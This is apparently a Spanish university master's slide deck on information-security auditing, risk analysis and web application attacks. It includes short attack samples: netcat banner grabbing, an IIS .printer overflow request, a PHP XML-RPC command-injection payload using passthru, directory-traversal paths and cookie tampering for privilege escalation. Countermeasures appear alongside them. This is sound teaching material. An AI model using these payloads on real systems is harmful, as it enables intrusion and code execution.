Auditoría y Análisis de Riesgos



Documentos relacionados
Ataques XSS en Aplicaciones Web

Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA

3-ANÁLISIS DE VULNERABILIDADES

AUDITORÍAS TÉCNICAS PARA LA CERTIFICACIÓN DE LOS SISTEMAS DE RECOGIDA DE INICIATIVAS CIUDADANAS EUROPEAS

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Infraestructura Tecnológica. Sesión 10: Sistemas cortafuego

Resumen de los protocolos de seguridad del Registro Telemático

INTRODUCCIÓN A LA PROGRAMACIÓN WEB UNIDAD. Estructura de contenidos: cisvirtual@ucv.edu.pe. 1.

RETO HACKER DE VERANO

Internet Information Server

Qué son y cómo combatirlas

Detectar y solucionar infecciones en un sitio web

SEGURIDAD INFORMÁTICA 2º SISTEMAS MICROINFORMÁTICOS Y REDES 1. CONTENIDOS MÍNIMOS PARA LA EVALUACIÓN POSITIVA

PROGRAMACIÓN PÁGINAS WEB CON PHP

MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD

INTRODUCCION. Tema: Protocolo de la Capa de aplicación. FTP HTTP. Autor: Julio Cesar Morejon Rios

Cómo trabaja el Atacante? El atacante trabaja en 5 pasos, los cuales son: Ethical-Hacker.net. Reconocimiento. Borrado de Huellas.

Pack Seguridad Autónomos Consola de gestión del programa agente

ATAQUE Y CONTRAMEDIAS

INSTALACIÓ N A3ERP. Informática para empresas INTRODUCCIÓN CONSIDERACIONES GENERALES DE LA INSTALACIÓN PAQUETES DE INSTALACIÓN PREDEFINIDOS

Desarrollo seguro en Drupal. Ezequiel Vázquez De la calle

Hacking en 5 pasos usando Software libre

Guía de doble autenticación

PROGRAMA DEL CURSO. SEGURIDAD EN EQUIPOS INFORMATICOS MF0486_3 90 horas MEDIO-AVANZADO DURACION:

DIPLOMADO EN SEGURIDAD INFORMATICA

Introducción a las Redes de Computadoras. Obligatorio

CFGM. Servicios en red. Unidad 5 Servicio FTP. 2º SMR Servicios en Red

BBVA emarkets Seguridad

Teléfono: Telefax:

SEGURIDAD INFORMATICA GENERALIDADES DE LA SEGURIDAD INFORMATICA

Ayuda para la instalación Componente Firma Digital INDICE. 1 Configuración previa Configuración Internet Explorer para ActiveX...

CONCEPTOS GENERALES SOBRE SEGURIDAD INFORMATICA

Ataques Web Automáticos: Identificación, Engaño y Contraataque

REDES DE ÁREA LOCAL. APLICACIONES Y SERVICIOS EN WINDOWS

Seguridad en Aplicaciones Web

UNIVERSIDAD DR. JOSE MATIAS DELGADO

Servicios de Seguridad de la Información

Guía Rápida de Inicio

SIEWEB. La intranet corporativa de SIE

ACCESO AL SERVIDOR EXCHANGE MEDIANTE OWA

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

PRACTICA CAPITULO 2 MODULO 1 PROTOCOLOS Y LA FUNCIONALIDAD DE LA CAPA DE APLICACIÓN

PRUEBAS DE SOFTWARE TECNICAS DE PRUEBA DE SOFTWARE

Guía de integración del módulo de Redsys en Prestashop

Manual de instalación Actualizador masivo de Stocks y Precios

5.1. Qué es Internet? controla todo el sistema, pero está conectado de tal manera que hace

Edición de Ofertas Excel Manual de Usuario

Haga clic para modificar el estilo de título del patrón Haga clic para modificar el estilo de texto del patrón


Programación páginas web. Servidor (PHP)

Software generador de documentos a través de la Web

SISTEMAS IDEALES SISTIDE, S.A. SISTEMA GESTION DE USUARIOS

Estado: Aprobación Versión: 2.0 Fecha: 04/11/2009 Página 1 de 9 Documento: A5_Politica_Seguridad_V2

Test de intrusión (Penetration Test) Introducción

Q-expeditive Publicación vía Internet

INSTALACIÓN A3ERP INTRODUCCIÓN CONSIDERACIONES GENERALES DE LA INSTALACIÓN PAQUETES DE INSTALACIÓN PREDEFINIDOS

Visión General de GXportal. Última actualización: 2009

Especificación WebService para:

JAVA EE 5. Arquitectura, conceptos y ejemplos.

Internet Information Server

FOROS. Manual de Usuario

Copyright. INSTRUCTIVO DE CONFIGURACIÓN DE PC s DE CLIENTES CASH MANAGEMENT

Política de la base datos WHOIS para nombres de dominio.eu

Gastón Toth Lic. en Computación CEH Pentester

Software de Comunicaciones. Práctica 7 - Secure Shell. SSH

Introducción a la Firma Electrónica en MIDAS

Software Criptográfico FNMT-RCM

AGREGAR COMPONENTES ADICIONALES DE WINDOWS

Firewalls, IPtables y Netfilter

Dossier de prácticas

Invocación por protocolo de aplicaciones nativas desde páginas Web

Seguridad de un Portal

Capítulo 5. Cliente-Servidor.

Programación páginas web con ASP.NET 3.5 (C#)

Sistemas de Caché. Para mejorar la velocidad de carga de una web. papers. acens

Instalar protocolo, cliente o servicio nuevo. Seleccionar ubicación de red. Práctica - Compartir y conectar una carpeta

Kaspersky Endpoint Security 10 - versión para casa

Procedimiento. Actualización de Kit de Conexión de Comercios Webpay versión 5.X a Canales Remotos Operaciones. Transbank S.A.

Introducción a las redes de computadores

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

Infraestructura Tecnológica. Sesión 2: Mejoras adicionales al servidor de archivos

Instalación, creación y configuración del servicio FTP

LABORATORIO DE RC: PRÁCTICA 4: IMPLEMENTACIÓN DE UN CLIENTE DE CORREO

POLÍTICAS DE SEGURIDAD PARA EL DESARROLLO DE SISTEMAS DE CAPUFE

Crear un servidor Web en IIS

Modelo de Política de Privacidad

Beneficios estratégicos para su organización. Beneficios. Características V

INFORME DE ACREDITACIÓN DE SEGURIDAD PARA EL CUMPLIMIENTO DE LA DISPOSICIÓN TRANSITORIA CUARTA DEL REAL DECRETO 1671/2009, DE 6 DE NOVIEMBRE, POR EL

Manual de Aplicación. Guía metodológica para apoyar a las empresas MiPYMEs Colombianas en la toma de decisión para la migración hacia la nube pública

Evolución de la seguridad en aplicaciones de comercio electrónico Dr. Gonzalo Álvarez Marañón

PDF created with pdffactory Pro trial version

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

INFOGUARD MONITOREO Y AUDITORIA DEL USO DE LA INFORMACIÓN

DOCS. Pautas básicas para el DESARROLLO DE PLUGINS

POLITICA DE PRIVACIDAD.

COPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA

PROGRAMACIÓN ORIENTADA A OBJETOS Master de Computación. II MODELOS y HERRAMIENTAS UML. II.2 UML: Modelado de casos de uso

Custodia de Documentos Valorados

Disposición complementaria modificada en Sesión de Directorio N del 15 de diciembre de 2014.

Anexos de Bases de Presentación de Propuestas. Consultoría para la implementación de sistemas de gestión de contenidos para comunidades de RedCLARA

Transcripción:

Auditoría y Análisis de Riesgos Técnicas de Seguridad en Sistemas de Información Master TIC Noviembre 2011 Iván Marsá Maestre Qué es un sistema seguro? Aquel para el que existe una garantía de que se comportará de acuerdo a aquello para lo que fue diseñado En sistemas de información, prácticamente imposible Los sistemas serán más o menos fiables o robustos Áreas de la Seguridad de Sistemas de Información Seguridad física Seguridad lógica Seguridad de la información Técnicas criptográficas y protocolos Seguridad de los sistemas que operan con ella 1

Conceptos básicos Amenazas, vulnerabilidades y controles Amenaza: cualquier cosa que pueda salir mal Posibilidad de que un efecto adverso cause daño Vulnerabilidad: debilidad en un sistema o proceso que hace posible que una amenaza tenga efecto Control: mecanismo para mitigar el riesgo que ocasiona una vulnerabilidad También llamados mecanismos de seguridad Seguridad de Sistemas Los dos lados de la auditoría El atacante No es necesario ser un genio para comprometer un sistema Basta con conocer una vulnerabilidad (bug) y la herramienta que la explota (exploit) Diferentes motivaciones y niveles de conocimiento El auditoría Asegurar que su sistema es fiable Necesita conocer todas las vulnerabilidades de su sistema Requiere un alto nivel de conocimientos y un esfuerzo continuo 2

Problemas Problemática de la seguridad Carencias de organización o de gestión Cuándo fue la última vez que hizo un backup? Quién administra esta máquina? Desconocimiento por parte de los administradores De la problemática de la seguridad De las peculiaridades de los sistemas operativos que administra De la configuración de red Problemas Problemática de la seguridad Seguridad vs. Accesibilidad Compartición de carpetas o impresoras Puertos abiertos Control de adjuntos de correo electrónico Desconocimiento o rechazo por parte de los usuarios Qué es un parche? No podemos tener la misma clave para todas las máquinas? 3

Problemas Problemática de la seguridad Respuesta ante incidentes Imposibilidad de desconectar(s) la máquina afectada(s) Insuficiente capacidad de monitorización Falta de controles de integridad Intentos de rastreo/contraataque Confianza ciega Out-of-the-box security Desconocimiento de servicios activos Security through obscurity Problemas Problemática de la seguridad Resulta muy tedioso estar al tanto de todas las vulnerabilidades En 2007 se registraron 6609 vulnerabilidades registradas como CVE cve.mitre.org Si leemos los 6609 avisos: 6609 x 20mins = 275 días (de 8 horas) Si suponemos que sólo nos afecta el 10% de los avisos y que necesitamos 1 hora para aplicar cada parche: 660 x 1h = 82 días Únicamente para proteger un sistema: 275 + 82 = 357 días 4

Seguridad realista Seguridad Realista y Práctica Con todos estos problemas, a qué podemos aspirar? La seguridad 100% es inalcanzable Tendremos que aplicar tanta seguridad como sea factible Regla 80%-20% Análisis de riesgos Asegurar un sistema supone do { /* Realizar un análisis de riesgo adecuado*/ /* Desplegar los mecanismos y controles necesarios para alcanzar el nivel de seguridad objetivo */ } while (true) Mecanismos de Seguridad Mecanismos de seguridad También llamados controles (en auditoría) El objetivo es reducir un determinado riesgo o conjunto de riesgos a un nivel aceptable Distintos tipos Mecanismos de prevención Mecanismos de detección Mecanismos de corrección 5

Mecanismos de Seguridad Mecanismos de prevención Pretenden evitar que un error, acción u omisión de efecto negativo tenga lugar Ejemplos: Cerrar una puerta con llave Establecer una política de contraseñas seguras Concienciación de los usuarios Mecanismos de autenticación o de control de acceso Firewalls Mecanismos de Seguridad Mecanismos de detección Su objetivo detectar o avisar de que ha habido un evento indeseado Ejemplos: Alarmas de incendios Registros (logs) de acceso al sistema Bits de paridad Sistemas de detección de intrusiones Validación de entrada de datos 6

Mecanismos de Seguridad Mecanismos de corrección/reacción Pretenden corregir un riesgo o deficiencia antes de que ocurra un pérdida inaceptable Suelen depender de mecanismos de detección Ejemplos: Extintores Pólizas de seguro Sistemas redundantes Planes de contingencia Servicios de gestión de backups Sistemas de respuesta ante intrusiones (IRS) Conclusiones Conclusiones La seguridad de sistemas pretende reducir los riesgos de un sistema a un nivel aceptable Requiere: Conocimiento avanzado de amenazas, vulnerabilidades y ataques Conocimiento avanzado de mecanismos y controles de seguridad Análisis exhaustivo del sistema y de los riesgos asociados al mismo Establecimiento de controles y seguimiento continuado de los mismos Va bastante más allá de ser capaz de entrar en un sistema 7

Conclusiones Conclusiones Si algo puede salir mal, saldrá mal Murphy s Law Estaremos preparados? Análisis de Riesgos Técnicas de Seguridad en Sistemas de Información Master TIC Noviembre 2011 8

Introducción Por qué análisis de riesgos? El control del riesgo es crítico para el éxito Si algo puede fallar, fallará Mitigar los efectos adversos del fallo en la medida de lo posible Enfoques extremos No tener en cuenta el riesgo Invertir más en reducir los riesgos de lo que nos costaría la reparación Necesario un equilibrio Análisis de riesgos Risk Management / Risk Analisys Desde el punto de vista de una empresa Gobierno (estructura, roles, informes ) Procesos (identificación, valoración, monitorización y mitigación) Tecnología (sistemas y herramientas de apoyo) Introducción Problemática del Análisis de Riesgos Complejidad (e.g. en una empresa grande) Gobierno (estructura, roles, informes ) Procesos (identificación, valoración, monitorización y mitigación) Tecnología (sistemas y herramientas de apoyo) Falta de consenso en terminologías / metodologías Riesgo, vulnerabilidad, amenaza, control, mecanismo, contramedida? Gran variedad de estándares (OCTAVE, COBIT, ISO 14971 ) Falta de conciencia por parte de las partes implicadas Difícil de cuantificar de manera objetiva Proceso continuo 9

Análisis de Riesgos En quince minutos No podemos ver todas las metodologías (ni queremos) Algunas muy específicas (medicina, banca ) Lo más probable es que la metodología nos la impongan Ni siquiera podemos ver UNA metodología CobiT 4.1: 34 objetivos de alto nivel, 318 objetivos de control específicos Aprender a aplicar cualquier metodología Veremos una metodología MUY simple (4x4) Cuatro conceptos, cuatro procesos Un poco de matemática (muy poco, de verdad) Activos Análisis de Riesgos Todo aquello que tiene valor para una organización Servidores, Reputación, Datos de clientes, Disponibilidad Los diferentes activos tendrán diferente valor para diferentes organizaciones Fase 1 Inventario de activos Averiguar qué es importante para una empresa Cuantificar esa importancia Ejemplo: consigna de un aeropuerto AC.1: Caja 1000 / día AC.2: Objetos custodiados 4000 (estimación daños y perjuicios por consigna) 10

Análisis de Riesgos Vulnerabilidades y amenazas Amenaza Evento que puede dañar un activo Pueden ser directas o indirectas (posibilitadas por otras amenazas) Vulnerabilidad Debilidad que hace que una amenaza pueda hacerse efectiva Fase 2 Análisis de vulnerabilidades y amenazas Identificar las posibles amenazas y su probabilidad para un tiempo determinado (en caso de que existan vulnerabilidades) Determinar la existencia de vulnerabilidades En nuestro ejemplo AM.1: Robo P rcaja = 5 (5 robos estimados al año) AM.2: Daño a las consignas P rcaja = 1 (de alguna consigna) Riesgo Análisis de Riesgos Estimación de las pérdida en función de: La probabilidad de la amenaza La existencia de una vulnerabilidad que la haga posible El daño (coste) causado por la realización de la amenaza (definido por los activos) R = P amenaza [ P vulnerabilidad ] C daño Fase 3 Valoración de riesgos Cuantificar el riesgo provocado por las diferentes amenazas y vulnerabilidades Tener en cuenta posibles cadenas de amenazas En nuestro ejemplo R.1: Robo de la caja R Rcaja = P AM.1 C AM.1 = 5000 R.2: Robo de objetos en consigna R Rconsigna = P AM.1 P AM.2 C AM.1 = 20000 Total en riesgo: 25000 al año 11

Controles Análisis de Riesgos Mecanismos para reducir el riesgo Prevención, detección, corrección, mitigación de daño Directamente relacionados con las vulnerabilidades y amenazas Efectividad (grado en que reducen un riesgo o amenaza) Fase 4 Informe de Controles El objetivo es reducir un determinado riesgo o conjunto de riesgos a un nivel aceptable Nivel aceptable dependerá de la organización (y del coste del control) En nuestro ejemplo CN.1: Vigilante en la caja (C=18000 ; Ef R.1 =0.8; Ef R.2 =0.2) R.1 c =R.1 (1- Ef R.1 ) = 1000 R.2 c =R.2 (1- Ef R.2 ) = 18000 CN.2: Reforzar consignas (C=10000 ; Ef R.1 =0.0; Ef R.2 =0.8) R.2 c =R.2 (1- Ef R.2 ) = 4000 Seguridad en Aplicaciones Web Técnicas de Seguridad en Sistemas de Información Master TIC Noviembre 2011 12

Introducción Ataques a Aplicaciones Web Qué es una aplicación Web? Aplicación que utiliza HTTP Modelo cliente-servidor Soportada por una infraestructura de red más o menos compleja Vulnerables a ataques convencionales Nos centraremos en los ataques utilizando HTTP Introducción Un escenario particular Especialmente atractivo para el atacante 13

Introducción Un escenario particular Especialmente atractivo para el atacante Ubicuo gran abundancia de objetivos Las técnicas de ataque son generalmente sencillas Potencialidad de acceso anónimo Atraviesa la mayoría de las configuraciones de firewalls HTTP no está pensado para la seguridad Escasa conciencia de seguridad por parte de los diseñadores Introducción Un escenario particular Especialmente atractivo para el atacante (2) Plataformas de uso común (ASP.NET, LAMP) Vulnerabilidades comunes a múltiples aplicaciones Mantenimiento desorganizado Mayor facilidad para cometer errores que provoquen vulnerabilidades Elevado valor como objetivos Información cada vez más valiosa en la Web Procesos de negocio 14

Introducción Un escenario particular Puntos débiles de un aplicación Web La plataforma sobre la que corre la aplicación La máquina (Hardware, Sistema Operativo ) Servidor Web (Apache, IIS ) La infraestructura de desarrollo (ASP.NET, PHP ) La aplicación propiamente dicha La base de datos empleada El cliente Web (el usuario) Las comunicaciones Introducción Mecanismos de ataque A través de la propia interfaz de la aplicación Errores de validación de entrada Observando/Manipulando las URLs Observando/Manipulando los mensajes HTTP Proxies/extensiones HTTP Capaces de analizar/manipular cabeceras y contenido Herramientas de línea de órdenes (netcat ) Manipulando otros protocolos (WebDAV, SOAP ) 15

Clasificación de Ataques Tipos de Ataques a Aplicaciones Web Reconocimiento de la Aplicación Normalmente como preparación de otros ataques Ataques a la propia plataforma Ataques a la Autenticación Ataques a la Autorización Escalada de privilegios Ataques de validación de entrada Ataques a la Interfaz de administración Ataques al cliente Web Reconocimiento Reconocimiento Objetivo: recabar toda la información posible sobre el sitio Web objetivo Aumenta la efectividad y la eficiencia del ataque Dos vertientes claramente diferenciadas Análisis de la infraestructura Web Hardware y software que da soporte a la aplicación Análisis de la aplicación Web propiamente dicha 16

Reconocimiento Análisis de la Infraestructura Identificar y analizar los elementos que soportan la aplicación Web objetivo Hardware y software del servidor Web Equipamiento / topología de la red objetivo Presencia de firewalls Estrategias de mirroring o balanceo de carga Reconocimiento Análisis de la Infraestructura Footprinting y Scanning Técnicas genéricas de reconocimiento de sistemas Vistas en el tema Vulnerabilidades y amenazas Listado de máquinas en la red objetivo Listado de servicios en esas máquinas Puede llevar a vulnerabilidades más graves que las presentes en la aplicación Web Ejemplo: Servidor HTTPS con administración vía FTP 17

Reconocimiento Análisis de la Infraestructura Banner grabbing Observar la respuesta de servidor ante diferentes peticiones para intentar averiguar de qué servidor se trata Técnicas básicas: peticiones GET o HEAD $nc -nvv 192.168.234.34 80 (UNKNOWN) [192.168.234.34] 80 (?) open HEAD / HTTP/1.0 [Dos retornos de carro] HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Fri, 04 Jan 2002 23:55:58 GMT Reconocimiento Análisis de la Infraestructura HTTP Fingerprinting La respuesta del servidor no tiene por qué ser fiable Evaluar la respuesta ante peticiones inusuales $nc -nvv 192.168.234.34 80 PUT / HTTP/1.0 para subir ficheros, apenas se usa HTTP/1.1 401 Unauthorized Server: Sun-ONE-Web-Server/6.1 HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 HTTP/1.1 405 Method Not Allowed Server: Apache/2.0.54 18

Reconocimiento Análisis de la Infraestructura HTTP Fingerprinting Evaluar las diferencias en las cabeceras que devuelve el servidor HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Fri, 04 Jan 2002 23:55:58 GMT HTTP/1.1 200 OK Date: Fri, 04 Jan 2002 23:55:58 GMT Server: Apache/2.0.54 Utilidades que automatizan el proceso (httprint) Reconocimiento Análisis de la Infraestructura Detección de elementos intermedios Servidores virtuales Balanceadores de carga Diferentes servidores para los mismos recursos Pueden tener diferentes configuraciones Pueden detectarse observando o probando rangos de IP También por diferencias en cabeceras o contenidos Etag: "6c132-941-ad7e3080 Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT <!--ServerInfo:M0932001.10.3.13.34.30Live1--> 19

Reconocimiento Análisis de la Infraestructura Detección de elementos intermedios Proxies Hacen de intermediario entre el cliente y la aplicación propiamente dicha Pueden ser un objetivo de interés para un ataque Detectarlos puede permitir al atacante esquivarlos Via: 1.1 192.168.1.5, 1.1 nowhere.com (Apache/1.1) X-Forwarded-For: 192.168.1.5, proxy.com Host: server1.site.com Reconocimiento Análisis de la Infraestructura Detección de elementos intermedios Filtros a nivel de Aplicación Son proxies con algún tipo de filtro de seguridad En general se detectan a partir de su respuesta ante determinadas peticiones Algunos colocan cookies que también pueden servir para detectarlos Ejemplos: Teros, TrafficShield, Netcontinuum 20

Reconocimiento Análisis de la Aplicación Información acerca de la aplicación que pueda conducir a vulnerabilidades Contenido Estructura de directorios Flujo de datos Funciones Inspección manual de la aplicación Navegar por la aplicación y documentar su estructura Reconocimiento Análisis de la Aplicación Inspección manual de la aplicación 21

Reconocimiento Análisis de la Aplicación Estructura de directorios Puede revelar información acerca de contenido inaccesible Directorios de administración: /admin, /secure, /adm Directorios con logs o versiones antiguas: /archive, /logs, / old Directorios con contenido estático: /include, /images, Búsqueda de ficheros Ficheros con contenido activo:.js,.pl,.php,.class Ficheros de datos:.xml,.xsl Reconocimiento Análisis de la Aplicación Código fuente de la página Comentarios HTML Campos de Formularios Son la base para los ataques de validación de entrada Campos <hidden>: a menudo encierran información de autenticación o autorización Cookies que utiliza A menudo empleadas para autenticación y autorización 22

Reconocimiento Análisis de la Aplicación Cadenas de petición (Query Strings) Envían información al servidor http://www.site.com/searchterm=testing &resultpage=testing&db=/templates/db/archive.db Cambiar el valor de los parámetros puede afectar al funcionamiento de la aplicación Identidad de usuario: /login?userid=24601! Identidad de sesión: /menu.asp?sid=89cd9a9347! Consultas: /dbsubmit.php?stitle=ms&iphone=8675309! Acceso a ficheros: /open.pl?template=simple.html! Autorización: /menu.asp?isadmin=false Reconocimiento Análisis de la Aplicación Motores de búsqueda Permiten analizar un sitio Web objetivo sin acceder a él (caché) Permiten buscar similitudes entre diferentes sitios Web Content Managers, versiones Secciones específicas de la URL Fichero robots.txt Directorios que deben ser evitados por los motores de búsqueda En general proporciona información acerca de directorios inaccesibles Web Crawlers o Spiders Siguen automáticamente los links de un sitio Web y almacenan su contenido Permiten replicar un sitio Web (con limitaciones) Wget, Teleport 23

Reconocimiento Mecanismos de Seguridad Reconocimiento Mecanismos de Seguridad Configurar adecuadamente la máquina servidora Eliminar información innecesaria Proteger el acceso a los directorios con información crítica Desactivar el listado automático de directorios Colocar los directorios accesibles a través de Web en dominios diferentes a los directorios de sistema IIS: Colocarlos en unidades de disco diferentes Servidores Web Unix: utilizar chroot Eliminar comentarios del código fuente Referenciar ficheros con paths relativos, no absolutos Aplicar autenticación a todos los ficheros y directorios si es necesario 24

Ataques a la plataforma Ataques a la Plataforma Plataforma Web: software que da soporte a la aplicación Software del Servidor Web (IIS, Apache ) Extensiones al servidor (ISAPI, mods de Apache ) Entornos dinámicos de ejecución (ASP.NET, PHP, J2EE ) En general, software común y bien conocido Vulnerabilidades disponibles públicamente Exploits en circulación que corren de manera automática Ataques independientes de la aplicación específica Suelen llevar a un compromiso general de la aplicación Ataques a la plataforma Ataques al Servidor Web Servidor Web Apache Reputación de eficiencia y seguridad Ninguna vulnerabilidad de ejecución de comandos contra el núcleo de Apache en toda la versión 1.3 Sin embargo, requiere de módulos adicionales para dar flexibilidad, y estos módulos pueden introducir vulnerabilidades Ejemplo: Listado de directorios Apache 1.3.19 con mod_negotiate, mod_dir o mod_autoindex Es posible forzar el listado de un directorio con una petición de la forma GET /cgi-bin///////////////////////////////////////// 25

Ataques a la plataforma Ataques al Servidor Web Microsoft Internet Information Server (IIS) Objetivo de numerosos ataques durante su tiempo de vida Revelación de código Ejecución de comandos de administración Ejecución arbitraria de comandos Hay que diferenciar entre ataques al propio IIS o a los componentes (.dll) Ejemplo: Buffer Overflow en ISAPI DLL Aparece cuando se envía un buffer de 420 bytes en la cabecera Host de HTTP para una petición ISAPI.printer GET /NULL.printer HTTP/1.0 Host: [buffer] Permite denegación de servicio y ejecución de código arbitrario Utilizado por el gusano Code Red Ataques a la plataforma Ataques al Entorno de Ejecución Hypertext PreProcessor (PHP) Permite incrustar comandos en el código de una página Web, que se ejecutan en el servidor antes de devolver la página al cliente. Vulnerabilidades en la plataforma pueden permitir a un cliente ejecutar comandos arbitrarios POST /phpadsnew/adxmlrpc.php... <?xml version= 1.0?><methodCall> <methodname>loquesea</methodname> <params><param><name> );passthru(dir);//</name> <value>loquesea</value></param></params> </methodcall> Posibilidad de inicializar variables desde la Query String http://www.a.com/login.php?pass=secret&user=joe&auth=1 26

Ataques a la plataforma Mecanismos de Seguridad Ataques a la plataforma Mecanismos de Seguridad Control de acceso severo en ambos sentidos Políticas de seguridad de firewalls Mantener el software de la plataforma actualizado Evitar colocar información en el código fuente Contraseñas, nombres de directorio, direcciones de correo Internet Information Server (IIS) Deshabilitar exensiones innecesarias Discos separados para el sistema y la aplicación Web Restringir utilidades potencialmente dañinas Gestión adecuada de permisos 27

Ataques a la plataforma Mecanismos de Seguridad Apache Web Server Deshabilitar los módulos que no se usen ModSecurity: filtro a nivel de aplicación Restringir el acceso a directorios más allá de la raíz Web (chhroot) PHP Evitar utilizar información de entrada para construir rutas Desactivar la posibilidad de inicialización (register_global) Validar adecuadamente la entrada que se recibe Autenticación Ataques a la autenticación Punto especialmente crítico en seguridad Web Primer paso en el acceso a una Web segura Influye en decisiones de seguridad posteriores Mecanismos de autenticación Usuario / contraseña Certificados y Tokens Servicios de Autenticción 28

Autenticación Autenticación por Usuario / Contraseña Enumeración de usuarios Obtener nombres de usuario válidos Diferentes mensajes de error para usuario y clave Errores de usuario ya existe en registros Bloqueo de cuentas Diferencias de temporización Adivinar contraseñas Manualmente o por fuerza bruta Preguntas de seguridad Autenticación Autenticación por Usuario / Contraseña Captura de tráfico (Eavesdropping) Ejemplo de autenticación HTTP basic GET /test/secure HTTP/1.0 HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="luxor GET /test/secure HTTP/1.0 Authorization: Basic dgvzddp0zxn0 29

Autenticación Autenticación por Usuario / Contraseña Captura de tráfico (Eavesdropping) Codificación BASE64 fácilmente reversible dgvzddp0zxn0 test:test Autenticación Autenticación por Usuario / Contraseña Ataques de repetición Ejemplo de autenticación HTTP digest HTTP/1.0 401 Unauthorised WWW-Authenticate: Digest realm="testrealm@host.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", GET /dir/index.html HTTP/1.0 Authorization: Digest username= ivan", realm="testrealm@host.com, nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/dir/index.html", response="6629fae49393a05397450978507c4ef1, Vulnerable a ataques de repetición (aunque un poco restringido) 30

Autenticación Autenticación por Usuario / Contraseña Autenticación basada en formularios Dos alternativas: GET y POST GET /login.aspx?user=test&password=test HTTP/1.0 POST /login.aspx HTTP/1.0 user=test&password=test Utilizando GET las credenciales aparecen en los logs Ambos envían las credenciales en claro (necesario SSL) Puede ser vulnerable a ataques de validación de entrada SQL Injection Autenticación Otros mecanismos de autenticación Certificados (SSL) Utilizan criptografía asimétrica Vulnerables a ataques man-in-the-middle One Time Passwords (OTPs) Tarjetas de claves para transacciones bancarias Obviamente invulnerables a la captura o repetición Servicios de Autenticación Única (Single Sign-On) Basados en tickets 31

Autenticación Ataques sobre la información de Sesión Identificadores de sesión y tokens Muchos protocolos de autenticación generan algún tipo de ID de sesión que se utiliza posteriormente Suele ir en una Cookie Set-Cookie: MSPAuth=4Z9iuseblah;domain=.passport.com;path=/ Conocer ese identificador puede ser suficiente para suplantar a un usuario autenticado Captura de tokens Predicción de tokens Autenticación Mecanismos de seguridad 32

Autenticación Mecanismos de seguridad Políticas de contraseñas y de bloqueo de cuentas Dificultar la automatización de ataques Bloqueos temporales de cuentas Técnicas gráficas para distinguir a un usuario real Utilización de SSL para el intercambio de información Mapear la autenticación a otros parámetros Dirección IP, timestamp Validación de entrada en formularios Autorización Ataques a la autorización La autorización define los derechos de acceso de un usuario autenticado A qué partes de la aplicación puede acceder? Qué acciones puede llevar a cabo? En general, se implementa por medio de credenciales La aplicación proporciona al usuario un token de acceso Cuando el usuario intenta acceder a un objeto, se contrasta ese token con unas listas de control de acceso (ACLs) relacionadas con ese objeto Dos vertientes de ataque Obtener tokens de acceso válidos (captura/modificación) Explotar vulnerabilidades en los ACLs (mala configuración) 33

Autorización Análisis de la autorización Intentar deducir las ACLs de un sitio Web Manualmente Utilizando Web Crawlers Análisis diferencial (con distintos usuarios) Identificar los tokens de acceso o sesión En general, cookies (ASPSESSIONID, PHPSESSID, SID ) Analizar la información que contienen los tokens Nombre de usuario, roles, direcciones IP A menudo la información estará codificada o encriptada De nuevo, análisis diferencial Autorización Ataques a los controles de acceso Explotar debilidades en la configuración de las ACLs Directory Trasversal Intentar acceder a un directorio restringido a través de uno que no lo está Se basan en que a menudo los controles de acceso se realizan ante de interpretar determinados caracteres /scripts/../../../../winnt /scripts/..%c0%af..%c0%af..%c0%afwinnt Recursos ocultos Una forma errónea de proporcionar control de acceso consiste únicamente en que la URL no es conocida http://it.aut.uah.es/ivmarsa/sii/pr2sinsol.pdf Intentar descubrir patrones en la nomenclatura de los directorios 34

Autorización Ataques a los tokens de acceso Predicción manual de un token de acceso válido En la Query String http://www.mail.com/ail.aspx?mailbox=ivan Datos enviados con POST Campos hidden de formularios En cabeceras HTTP Cookie: uid=19293; sessid=99834948209 Refeerer: http://www.site.com/index.hml Autorización Ataques a los tokens de acceso Predicción automática Análisis estadístico Permite identificar patrones más usuales o tendencias Ataque por fuerza bruta o por diconario Pruebas con bytes específicos 46Vw8VtZCAvfqpSY3FOtMGbhI 4mHDFHDtyAvfqpSY3FOtMGbjV 4tqnoriSDAvfqpSY3FOtMGbgV 4zD8AEYhcAvfqpSY3FOtMGbm3 Captura o repetición de tokens 35

Autorización Impacto de los ataques a la autorización Escalada de privilegios horizontal Obtener los privilegios de otro usuario del mismo nivel Cookie: SerderID=dfa9c;ShopperID=193096346; Escalada de privilegios vertical Acceder a cuentas privilegiadas Cookie: UserID=1 Roles modificables por el cliente Cookie: role=ee11cbb19052e40b07aac0ca060c23ee Acceso a directorios de administración no protegidos /admin/utils/ Autorización Mecanismos de Seguridad 36

Autorización Mecanismos de Seguridad Control de acceso a los directorios Limitar los comandos HTTP que se aceptan Utilizar SSL (y marcar las Cookies como seguras) Encriptar los tokens de acceso (y de forma no evidente) No incluir información sensible en los token Emplear mecanismos de autenticación probados Limitar el inicio concurrente y la validez de las sesiones Validación de Entrada Ataques de Validación de Entrada Se basan en enviar al servidor información errónea Información que no está preparado para tratar Información que provoca resultados inusuales Posibles consecuencias Acceso y manipulación de datos (SQL Injection) Lanzamiento de ataques a otros usuarios desde el servidor Revelación de código de la aplicación Ejecución arbitraria de comandos o código Posibles puntos de ataque? Cualquier dato enviado 37

